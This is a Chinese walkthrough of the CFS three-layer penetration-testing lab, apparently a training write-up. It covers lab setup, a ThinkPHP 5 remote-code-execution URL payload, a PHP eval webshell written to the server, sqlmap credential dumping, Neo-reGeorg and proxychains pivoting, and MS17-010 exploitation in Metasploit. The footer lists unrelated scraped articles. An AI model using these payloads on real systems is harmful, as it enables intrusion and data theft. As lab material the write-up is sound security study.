CFS三层靶机内网渗透

CFS三层靶机内网渗透

  • 一、靶场搭建
    • 1.基础参数信息
    • 2.靶场搭建
      • 2.1网卡配置
      • 2.2Target1配置
        • 2.2.1 网卡配置
        • 2.2.2 Target1 BT配置
      • 2.3Target2配置
        • 2.3.1 网卡配置
        • 2.3.2 Target2 BT配置
      • 2.4Target3配置
  • 二、内网渗透
    • Target1
      • 1.1信息收集
        • 1.1.1IP收集
        • 1.1.2端口收集
        • 1.1.3目录收集
      • 1.2 webshell获取
        • 1.2.1手工POC注入
        • 1.2.2蚁剑验证
      • 1.3 Target1本机信息收集
        • 1.3.1找flag
        • 1.3.2 收集服务、端口、路由、ip、网段、内核等
        • 1.3.3内网存活探测
    • Target2
      • 2.1信息收集
        • 2.1.1 端口收集
        • 2.1.2 目录收集
      • 2.2webshell获取
        • 2.2.1 后台获取
        • 2.2.2 sql注入
        • 2.2.3 拿shell
      • 2.3 Target2本机信息收集
        • 2.3.1找flag
        • 2.3.2 收集服务、端口、路由、ip、网段、内核等
      • 2.4 搭建二层代理
    • Target3

一、靶场搭建

1.基础参数信息

网段:
Kali:       nat
Target1:    nat + 22
Target2:    22 + 33
Target3:    33三个靶机密码:
操作系统:root
登录密码:teamssix.comTarget1  BT(宝塔后台)
地址:http://x.x.x.x:8888/a768f109/    #此处为后台地址
账号:eaj3yhsl密码:41bb8feeTarget2  BT(宝塔后台)
地址:http://x.x.x.x:8888/2cc52ec0/    #此处为后台地址
账号:xdynr37d 
密码:123qwe.. 

思维导图
在这里插入图片描述
在这里插入图片描述

2.靶场搭建

2.1网卡配置

新导入两张网卡VMnet2VMnet3,配置网段192.168.22.0/24192.168.33.0/24
在这里插入图片描述

2.2Target1配置

2.2.1 网卡配置

VMnet8VMnet2 即NAT+22段
在这里插入图片描述

2.2.2 Target1 BT配置

Target1 BT
后台地址:http://192.168.231.128:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee
在这里插入图片描述
配置添加域名192.168.231.128192.168.22.128,使其可以访问
在这里插入图片描述

2.3Target2配置

2.3.1 网卡配置

VMnet2VMnet3 即22+33段
在这里插入图片描述

2.3.2 Target2 BT配置

暂时先加入NAT网卡,以配置宝塔后台,配置完成后,移除NAT网卡
在这里插入图片描述
从kali中可以看出新加入的网卡地址为192.168.231.129
在这里插入图片描述
Target2 BT
后台地址:http://192.168.231.129:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..
在这里插入图片描述
配置添加域名192.168.22.129192.168.22.128,使其可以访问
在这里插入图片描述

最后删除刚刚添加的NAT网卡

2.4Target3配置

网卡配置:VMnet3 即33段,其他的就没什么了
在这里插入图片描述

接下来就可以开始内网渗透了,现在忘掉配置是的网卡信息,IP信息,后台信息等等,开始全真模拟

二、内网渗透

Target1

1.1信息收集

1.1.1IP收集
arp-scan -l

在这里插入图片描述

1.1.2端口收集
nmap -sV -sS -T4  192.168.231.128 -p 1-65535

在这里插入图片描述

1.1.3目录收集
dirb http://192.168.231.128/
或者
dirsearch -u http://192.168.231.128

在这里插入图片描述
在这里插入图片描述

1.2 webshell获取

根据收集到的端口、IP及目录信息等进行访问

通过访问80端口,以及Wappalyzer插件,透露出他的一些信息
在这里插入图片描述
接下来尝试用goby扫描,得知存在着两个可能的漏洞,这也可以通过网上搜索ThinkPHP V5历史版本漏洞得知
在这里插入图片描述
根据上述漏洞,可进行验证,验证方法多种1.手工POC验证,2.ThinkPHP V5一键工具等

在goby中漏洞验证也是成功的,说明漏洞可以利用

ThinkPHP 5.0.23 Remote Code Execution Vulnerability
在这里插入图片描述

ThinkPHP 5.x RCE
在这里插入图片描述

1.2.1手工POC注入

POC:输入系统命令: whoami

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

POC:通过替换参数值,还可以将php代码写入文件, 此处我们写一个phpinfo

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=phpinfo.php&vars[1][]=<?php phpinfo(); ?>

在这里插入图片描述
然后在网页查看,发现可行,那么可以尝试构建webshell
在这里插入图片描述

POC:写入webshell,如果有过滤还可以采取编码方式
在这写了一个简单的一句话木马

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['lll']);?>

在这里插入图片描述

1.2.2蚁剑验证

验证成功,在这里webshell就拿到了
在这里插入图片描述

1.3 Target1本机信息收集

1.3.1找flag
find / -name "flag.txt" 2>/dev/null

在这里插入图片描述

1.3.2 收集服务、端口、路由、ip、网段、内核等
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route翻翻目录、文件

在这里插入图片描述
在这里插入图片描述

1.3.3内网存活探测

方法一、允许上传的情况下上传工具(/tmp等有权限的目录中)在T1上做信息收集fscan等工具直接上传即可

方法二、直接通过正向代理工具neo-regroge建立socks通道,导入流量(无法使用icmp探测存活)上传tunnel文件,建立连接

neo-regeorg
搭建正向代理,不需要在对方服务器中额外开通端口,利用后端代码
下载地址:https://github.com/L-codes/Neo-reGeorg
Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

$ python neoreg.py generate -k password[+] Create neoreg server files:=> neoreg_servers/tunnel.jsp=> neoreg_servers/tunnel.jspx=> neoreg_servers/tunnel.ashx=> neoreg_servers/tunnel.aspx=> neoreg_servers/tunnel.php=> neoreg_servers/tunnel.go

上传对应后缀到web服务器
在这里插入图片描述

Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+Log Level set to [DEBUG]Starting socks server [127.0.0.1:1080]Tunnel at:http://xx/tunnel.php
+------------------------------------------------------------------------+

在这里插入图片描述

vi /etc/proxychains4.conf

在这里插入图片描述

至此1层代理搭建成功

通过proxychains工具可连接当前的socks代理工具,proxychains4配置代理后可将kali的流量通过T1服务器作为跳板进行扫描

代理插件使用
在这里插入图片描述

Target2

通过上述信息收集手段,获得开启的端口等,搭建代理访问
在这里插入图片描述

查找当前cms的历史漏洞,若无历史漏洞,下下策为找源代码审计,大部分系统不开源故不存在代码审计过程;

2.1信息收集

2.1.1 端口收集
 proxychains nmap -Pn -sT 192.168.22.129 

在这里插入图片描述

2.1.2 目录收集
dirsearch -u http://192.168.22.129/ --proxy socks5://192.168.231.135:1000

在这里插入图片描述

2.2webshell获取

2.2.1 后台获取

通过扫出来的目录找到/robots.txt,而/robots.txt给出了两个路径
Disallow: /admini/
Disallow: /index.php?r=admini*

在这里插入图片描述
sql注入点

<!-- Hint:SQL注入点:/index.php?r=vul&keyword=1>

在这里插入图片描述

后台获取
根据上述sql注入点以及robots.txt找后台地址
在这里插入图片描述

2.2.2 sql注入
--proxy代理参数
--dbs 所有库
--tables 某个库中的所有表
--columns 上一个表中的所有字段

1.数据库查询

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch --dbs --proxy=socks5://192.168.231.135:1000

在这里插入图片描述
2.查询表

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms --tables  --proxy=socks5://192.168.231.135:1000

在这里插入图片描述

3.查询字段

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns  --proxy=socks5://192.168.231.135:1000

在这里插入图片描述

4.查询内容

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password  --dump --proxy=socks5://192.168.231.135:1000

在这里插入图片描述
后台账号密码

+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| admin    | 46f94c8de14fb36680850768ff1b7f2a (123qwe) |
+----------+-------------------------------------------+

一登陆就看见一个flag
在这里插入图片描述

2.2.3 拿shell

登录后:重点关注上传(头像、文件、编辑器)、导出(文件、sql语句)、自定义模版(网站结构、默认页面更改),ssrf

登入后台后,根据历史漏洞提示后台模板存在一个rce问题
在这里插入图片描述

在页面中插入拿shell的语句
在这里插入图片描述
代理设置
在这里插入图片描述
蚁剑连接
在这里插入图片描述

2.3 Target2本机信息收集

重复T1信息收集的步骤对T2进行操作即可

2.3.1找flag
find / -name "flag.txt" 2>/dev/null

在这里插入图片描述

2.3.2 收集服务、端口、路由、ip、网段、内核等
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route翻翻目录、文件

在这里插入图片描述

2.4 搭建二层代理

同理上传tunnel文件至T2通过T1建立socks端口,此时会在T1上生成代理通道

T1具备python环境
在这里插入图片描述
在T1中上传Neo-reGeorg-master并解压

unzip Neo-reGeorg-master.zip

在这里插入图片描述

在T2中上传tunnel文件
在这里插入图片描述

代理开启:

python neoreg.py -k password -u http://192.168.22.129/tunnel.php -l 0.0.0.0 -p 2000

在这里插入图片描述

Target3

以T2为跳板访问T3
以T2为跳板

明确内网33.33服务器上存在两个可能有漏洞的端口3389(cve-2019-0708)、445(ms17-010)

proxychains nmap -Pn -sT -sV 192.168.33.33 -p 445,3389

在这里插入图片描述

proxychains msfconsole    
search ms17_010

在这里插入图片描述

use 1
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33

在这里插入图片描述

最后run

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/200602.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL错题集2

1.插入记录 用户1001在2021年9月1日晚上10点11分12秒开始作答试卷9001&#xff0c;并在50分钟后提交&#xff0c;得了90分&#xff1b; 用户1002在2021年9月4日上午7点1分2秒开始作答试卷9002&#xff0c;并在10分钟后退出了平台。 2.请把exam_record表中2021年9月1日之前开始作…

连接池 Druid (二) - 连接回收 DestroyThread

接上一篇文章&#xff0c;研究Druid连接池的连接回收线程DestroyThread&#xff0c;通过调用destroyTask.run->DruidDataSourcek.shrink完成过期连接的回收。 DruidDataSourcek.shrink 理解DruidDataSourcek的连接回收方法shrink有一个必要前提&#xff1a;Druid的getConn…

离散数学-函数

1、函数的概念 1&#xff09;函数定义 定义&#xff1a;设 x &#xff0c; y是集合&#xff0c;f是x到y的二元关系&#xff0c;若对每个x属于X&#xff0c;都有唯一的y属于Y&#xff0c;使得<x,y>属于f&#xff0c;则称f是x到y的函数或映射&#xff0c;记作&#xff1a…

在vscode编辑器中,vetur和volar冲突

在vscode编辑器中 vetur插件会把vue3项目当成vue2去检查&#xff0c;然后出现了eslint报错 在项目的 package.json 中添加以下代码&#xff0c;并重启编辑器就可以了 // package.json"eslintConfig": {"rules": {"vue/no-multiple-template-root&qu…

深入理解CopyOnWriteArrayList源码分析

上篇推荐&#xff1a;Java中快速失败 (fail-fast) 机制 CopyOnWriteArrayList简介 CopyOnWriteArrayList是java.util.concurrent包下提供的一个线程安全的ArrayList。它通过一个简单的策略来保证线程安全&#xff1a;当我们需要修改列表时&#xff08;增加、删除、修改等操作&…

102 cesium 切换底图为黑色

1.切换cesium底图为黑色 // 底图const baseLayer viewer.imageryLayers.get(0);if (baseLayer.show) {baseLayer.show false;viewer.scene.globe.baseColor Cesium.Color.BLACK;} else {baseLayer.show true;} 2.地下模式 async toggleUnderground(item: any) {item.activ…

电子学会C/C++编程等级考试2023年03月(四级)真题解析

C/C++等级考试(1~8级)全部真题・点这里 第1题:最佳路径 如下所示的由正整数数字构成的三角形: 7 3 8 8 1 0 2 7 4 4 4 5 2 6 5 从三角形的顶部到底部有很多条不同的路径。对于每条路径,把路径上面的数加起来可以得到一个和,和最大的路径称为最佳路径。你的任务就是求出最…

Linux之重谈文件和c语言文件接口

重谈文件 文件 内容 属性, 所有对文件的操作都是: a.对内容操作 b.对属性操作 关于文件 一&#xff1a; 即使文件的内容为空&#xff0c;该文件也会在磁盘上也会占空间&#xff0c;因为文件不仅仅只有内容还有文件对应的属性&#xff0c;文件的内容会占用空间, 文件的属性也…

gitlab 迁移-安装-还原

文章目录 一、备份原有Gitlab1、备份清单2、备份执行 二、卸载删除原有Gitlab1、停止Gitlab2、卸载Gitlab3、查看Gitlab进程4、杀死进程5、删除所有包含Gitlab文件 三、安装Gitlab1、添加镜像地址2、安装依赖3、安装防火墙4、下载安装Gitlab5、配置Gitlab6、启动并访问 四、还原…

Linux基本指令(2.0)

周边知识&#xff1a; 1.Linux中&#xff0c; 一切皆文件 构建大文件 输入如下shell命令 i1; while [ $i -le 10000]; do echo "hello Linux $i"; let i; done 此时大文件已经创建在big.txt 此时我们发现cat查看无法查看开始内容 我们使用more 当占满一屏之后就不…

Unity-Shader - 2DSprite描边效果

实现一个简单的2D精灵图描边效果&#xff0c;效果如下 实现思路&#xff1a; 可以通过判断该像素周围是否有透明度为 0的值&#xff0c;如果有&#xff0c;则说明该像素位于边缘。 所以我们需要打开alpha blend&#xff0c;即&#xff1a; Blend SrcAlpha OneMinusSrcAlpha&am…

单实例应用程序

2023年12月6日&#xff0c;周三凌晨 什么是单实例应用程序 单实例应用程序可以确保在同一时间只有一个应用程序实例在运行。 通常情况下&#xff0c;当用户尝试再次启动一个已经启动过的应用程序时&#xff0c;操作系统会打开一个新的实例。但有些情况下&#xff0c;我们可能…

js中的栈(stack)和堆(heap)

什么是堆什么是栈&#xff1f; 程序运行时候&#xff0c;需要内存空间存放数据。系统划分出的两种内存空间就叫做stack&#xff08;栈&#xff09;和heap&#xff08;堆&#xff09;。 栈&#xff08;stack&#xff09;&#xff1a;由操作系统自动分配内存空间&#xff0c;自…

透明度值和注意点

透明度 透明度分为256阶&#xff08;0-255&#xff09;&#xff0c;计算机上用16进制表示为&#xff08;00-ff&#xff09;。透明就是0阶&#xff0c;不透明就是255阶,如果50%透明就是127阶&#xff08;256的一半当然是128&#xff0c;但因为是从0开始&#xff0c;所以实际上是…

react项目中使用video标签设置自动播放并未及时播放解决

react项目中使用video标签设置autoplay,但是视频不会直接播放&#xff0c;会加载一段时间后才会自动播放。 解决&#xff1a; 手动调用play方法 const videoRef useRef();useEffect(() > { if(videoRef?.current){if(videoRef?.current.paused){videoRef?.current.pla…

leetcode:1422. 分割字符串的最大得分(python3解法)

难度&#xff1a;简单 给你一个由若干 0 和 1 组成的字符串 s &#xff0c;请你计算并返回将该字符串分割成两个 非空 子字符串&#xff08;即 左 子字符串和 右 子字符串&#xff09;所能获得的最大得分。 「分割字符串的得分」为 左 子字符串中 0 的数量加上 右 子字符串中 1…

Android 12.0 Folder文件夹全屏后文件夹图标列表居中时拖拽app到桌面的优化

1.概述 在12.0的系统rom产品开发中,在Launcher3中在目前的产品需求开发中,对于Launcher3中的文件夹Folder的布局UI 进行了定制化的需求要求把Folder修改为全屏,然后在中间显示文件夹图标的列表,这时候如果Folder是全屏的话,如果拖拽文件夹列表中的app图标,只有拖拽 到屏…

html复习

html form表单作用是收集数据提交 input框体控件不在form不适用于表单提交 可编辑性:contenteditable 提示值消失&#xff1a;placeholder&#xff0c;value是初始数据 块标签&#xff1a;单独占有一个空间&#xff0c;独占一行&#xff0c;标签遵循从上到下排列。table、d…

UEC++ 探索虚幻5笔记(捡金币案例) day12

吃金币案例 创建金币逻辑 之前的MyActor_One.cpp&#xff0c;直接添加几个资源拿着就用 //静态网格UPROPERTY(VisibleAnywhere, BlueprintReadOnly)class UStaticMeshComponent* StaticMesh;//球形碰撞体UPROPERTY(VisibleAnywhere, BlueprintReadWrite)class USphereCompone…

【Linux知识点汇总】04 Linux软件包管理器RPM常用命令

RPM&#xff08;Red Hat Package Manager&#xff09;是一种用于在基于Red Hat的Linux发行版中安装、卸载、更新和管理软件包的工具 查看和显示命令 说明命令查看已安装的rpm包rpm -qa查询某个rpm包rpm -q pkg_name查看已安装rpm包提供的配置⽂件rpm -qc pkg_name查看⼀个包安…